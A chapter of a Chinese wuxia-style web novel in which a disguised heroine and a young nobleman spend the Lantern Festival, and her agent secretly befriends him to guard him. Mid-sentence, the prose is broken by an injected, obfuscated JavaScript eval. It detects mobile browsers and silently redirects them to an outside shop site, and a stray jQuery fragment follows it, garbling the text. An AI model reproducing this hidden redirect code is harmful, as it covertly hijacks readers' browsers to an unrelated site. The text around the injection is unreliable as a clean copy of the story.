“小孩儿,既然是谜语,哪有出题人自己说出答案的?自己好好想吧。”赵凡奕神秘莫测地笑了笑,“虽然我出的题都简单,但是唬一唬你还是足够的。这样吧,以子时为界,在这之前你能猜出来算你赢,反之算我赢。”
听赵凡奕这么一说,窦成突然好像有了兴致:“既然要分个输赢,那么有赌注吗?”
“哟~还真是长大了,连赌博都敢玩了。成,我陪你赌。你想赌什么?”
“这突然问赌什么我也没想好……要不这样,在自己能力范围内做一件事情如何?”
“哦?”赵凡奕笑得眼睛弯弯,“口气不小,你这是已经猜出来了?”
“暂时没有,但是子时之前我一定能猜出来!”窦成笃定道。
“我一人吃饱全家不愁,你也不会要我的家产。这么一想我也没什么不敢赌的,那成,我赌了。”
等窦成和赵凡奕问着路终于走到城镇最繁华的地方时,由于时辰还未到,灯谜都还在准备。不过此时人已经渐渐开始多了,年轻男女尤其得多。
“每年这个时候都是男子女子相识的大好机会,大家都会展现出自己最美好的一面。”窦成念叨着当年爷爷跟他说的话,又转头问赵凡奕,“你现在有没有看对眼的?机会难得啊,说不定你今天就把你终身大事给定下来了。”
“哦?我倒是觉得你这么积极是自己等不及了吧?怎么,京城的姑娘不如这南方姑娘秀气?”
“你此话欠妥,每个地方的姑娘都有各自的特色,应该说每个姑娘都不一样,都有她美丽的地方。”窦成正经道,“故而没有更好的,只有更适合的。”
“哦……那这个姑娘你觉得怎么样?”
窦成顺着赵凡奕指的方向看了过去,只见那个姑娘身材魁梧好似比男子还要高几分,等姑娘转过身来更是极具特色,那鼻孔不知为何比常人要大上一圈显得十分突兀,那锋利宽厚的脸颊更是男相十足。
若是说赵凡奕女扮男装得毫无破绽,那这位姑娘更像是男扮女装得全是破绽。
“怎么样?若是这个姑娘是个心地美丽的人,你愿意娶她回去吗?”赵凡奕笑眯了眼睛看着整个人都僵硬了的窦成。
看窦成那明显被惊到的表情,赵凡奕乐了。
“哈哈哈哈,你就是满肚子的大道理,其实自己内心并没有如此圣人如此脱俗。这也不是坏事,我是觉得……”
赵凡奕还在自顾自地侃侃而谈,等她转过头来时,发现窦成已经走上前,真的要去跟那女子谈话了。
“不是吧?”赵凡奕惊讶一瞬后嘴比刚刚咧得更开了,“固执逞强这一点他就改不了。”
等窦成回来时,赵凡奕不知何时已经买了一壶酒坐在一个河边亭子里一口一口慢慢地喝着酒。
等窦成走到赵凡奕面前赵凡奕才发现他回来了。
“哟,怎么样?这姑娘心灵可是美丽得不可方物?”赵凡奕促狭地笑着看了一眼脸色并不是很好的小少爷。
“短时间的相处并不能判断一个人的品德,但是我可以肯定是个温柔的女子。”
赵凡奕没想到窦成还会看人了,问道:“何出此言?”
“我一个陌生男子突然与之搭话,她并没有羞恼地骂我登徒子,还热情问我有没有需要帮忙的。这会是泼辣恶毒女子会做的事情吗?”
赵凡奕上下打量了一下小少爷今天的装扮:梳着高高的发冠显得人十分精神,由于赶路显得有些风尘仆仆但仍然难以掩饰他眉清目秀还未长开的五官。
为了不引人注意而穿上了普通的灰色大衣,但是懂得人仔细看也知道从这衣服纹路来看也是上等布料。
总而言之,小少爷长得挺讨喜又看起来有点小钱。
在这个元宵节这么特殊的日子,要是那个姑娘骂他登徒子才是奇怪了。
不过呢……赵凡奕并没有把事实真相告诉窦成,反而主动认输:“是我不会看人,算你赢了。”
元宵佳节嘛,小少爷开心了就好。
两个人就坐在这个亭子里看着人们忙来忙去,窦成看赵凡奕直接拿着酒壶喝酒,他也在附近找了个小贩买了一壶酒坐到她对面跟着有一口没一口地喝起酒来。
此时赵凡奕突然看见不远处空中升起一缕细烟,明白自己的人有消息了。
看了一眼还在慢慢喝酒窦成,现在不是夜晚,她要是突然离开窦成肯定会发现。
赵凡奕皱着眉头想了一会儿,看着人渐渐多了起来的市集,眉头稍微舒展了一点。
“走吧小鬼,这会儿好玩了,我带你去猜灯谜。”
赵凡奕站了起来,顺手将窦成手上的酒拿走:“这酒又不是什么陈年佳酿,只是想要拿来大醉一场尚可,拿来当美酒来品实在没意思。我闻到了好酒的味道,我们一会儿去找找吧。”
窦成没反对,跟着赵凡奕先去猜灯谜的地方了。
在远处看的时候就觉得人挺多,没想到进入比想象中还要拥挤。
窦成不知道自己被踩了好几脚了,倒是都不是很疼他也可以忍忍,但是没多久不知道哪个人实打实地踩了他一脚着实把他疼到了,他疼得弯下了腰蹲在地上缓了缓。
赵凡奕等的就是这个时机,灵巧地一溜就跑了,临走时颇有良心地把踩了窦成的那个人的腰带给解了下来。
等赵凡奕一离开人群密集的地方,就看见了等他的人。
那些人正准备跟赵凡奕说话时,赵凡奕先开口:“你们先派一个人去贴身保护那小鬼,虽然最近一直风平浪静,还是要以防万一。”
其中一个人点了点头,先是跳到高处寻觅到窦成的位置就往那个方向飞奔了过去。
而窦成这边,等他缓过劲来一抬头,哪里有赵凡奕的影子?
“贺封?”窦成站着左右看了看,“贺封!”
只是人来人往的市集,根本让人无法仔细看清每一个人。
不多时,窦成就不由自主地被人群挤着远离了原来的位置。
寻觅了一会儿窦成就放弃了,在人群里找一个人犹如大海捞针。
窦成不由得庆幸还好事先就把酒楼的地点定了下来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747108|209326||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,等元宵的活动结束了回去自然能再汇合。
只是一人在这合家欢乐的氛围中不免让人觉得孤单,窦成也没了玩乐的心情,转身就想先回酒楼了。
结果没走两步窦成就被人叫住了:“这位兄台看起来和我一样是个落单之人呀。”
窦成转过头看向这个叫住他的人:
是个和他差不多大的男子,手上拿着一笛子,穿着厚厚的大衣却不显得臃肿。面容和善,尤其是现在正对着他笑就更加让人觉得亲切。
“你是?”窦成疑惑地问道,虽然不认识此人,但是对此人第一印象不错,心中已经卸下了三分防备。
“只是在这佳节萍水相逢之人,江湖过客何须究其出处?”
那人本来一手拿着笛子有节奏地敲打着自己另外一只手,此时将笛子收入袖中作了一个揖:
“在下吕文生,一人流浪至此,未想正逢元宵。本欲一人度过,见兄台似乎与我同是天涯沦落人,斗胆上前约汝暂且同行,互相之间也显得不那么。不知兄台意下如何?”
“我不是单独一个人,我是和我同行之人走散了。”窦成这么直接的话让吕文生一时不知该怎么接时,窦成又开口了:“不过见吕兄孤单一人在下也没办法坐视不管。反正我暂时也找不到与我同行之人,吕兄的提议也未尝不可。”
窦成想了想自己现在身上也没有带很多银子,且此人穿着也不像需要行偷鸡摸狗事之人。
行事作风也和以前追赶他们的人也完全不一样,而且窦成自己也多少算是练窦家剑法多年,只要不是高手,基本自保还是能保证。
再三权衡了一下,觉得面前这个人不太可能是特意来危害自己的人后,窦成就答应了下来。
“那敢问怎么称呼兄台?”
“啊,一时忘记报上姓名了。失敬失敬,在下贺棋。”
“好,贺兄。”吕文生暗自吐了一口气,还好把赵凡奕交代的任务顺利进行了下去。
只要能正大光明地近身保护窦成,那事情就完成了一半了,吕文生也放松了很多,指着灯谜的方向:“其实这时正是猜灯谜人最多的时候,与其去挤人,倒不如在旁边看看有人表演踩高跷,等人少了我们再去猜灯谜也不迟。”
窦成觉得他说得挺有道理的,点了点头就与他一同前往表演踩高跷的地方了。
而赵凡奕这边,那些人已经把大概的调查最新情况告知完毕了。
“那我们就告退了。”为首的一个人正准备离开被赵凡奕叫住了。
“等等。你们顺便帮我再调查一件事吧。”赵凡奕本来不想让锁涡去调查小少爷的这些事情,她觉得就这样和小少爷一步一步寻找真相也挺好玩的。
但是云归的那些话其实也让她有些触动,若是尤林和皇宫有关系,那性质就不一样了。
“去查查,先帝后宫情况,上至贵嫔下至才人……甚至是宫女。只要那个人有一丝可能是六十年前的雨霖铃,都把情况全部告诉我。”
“是。”那些人毫不过问原因,答应了下来就离开了。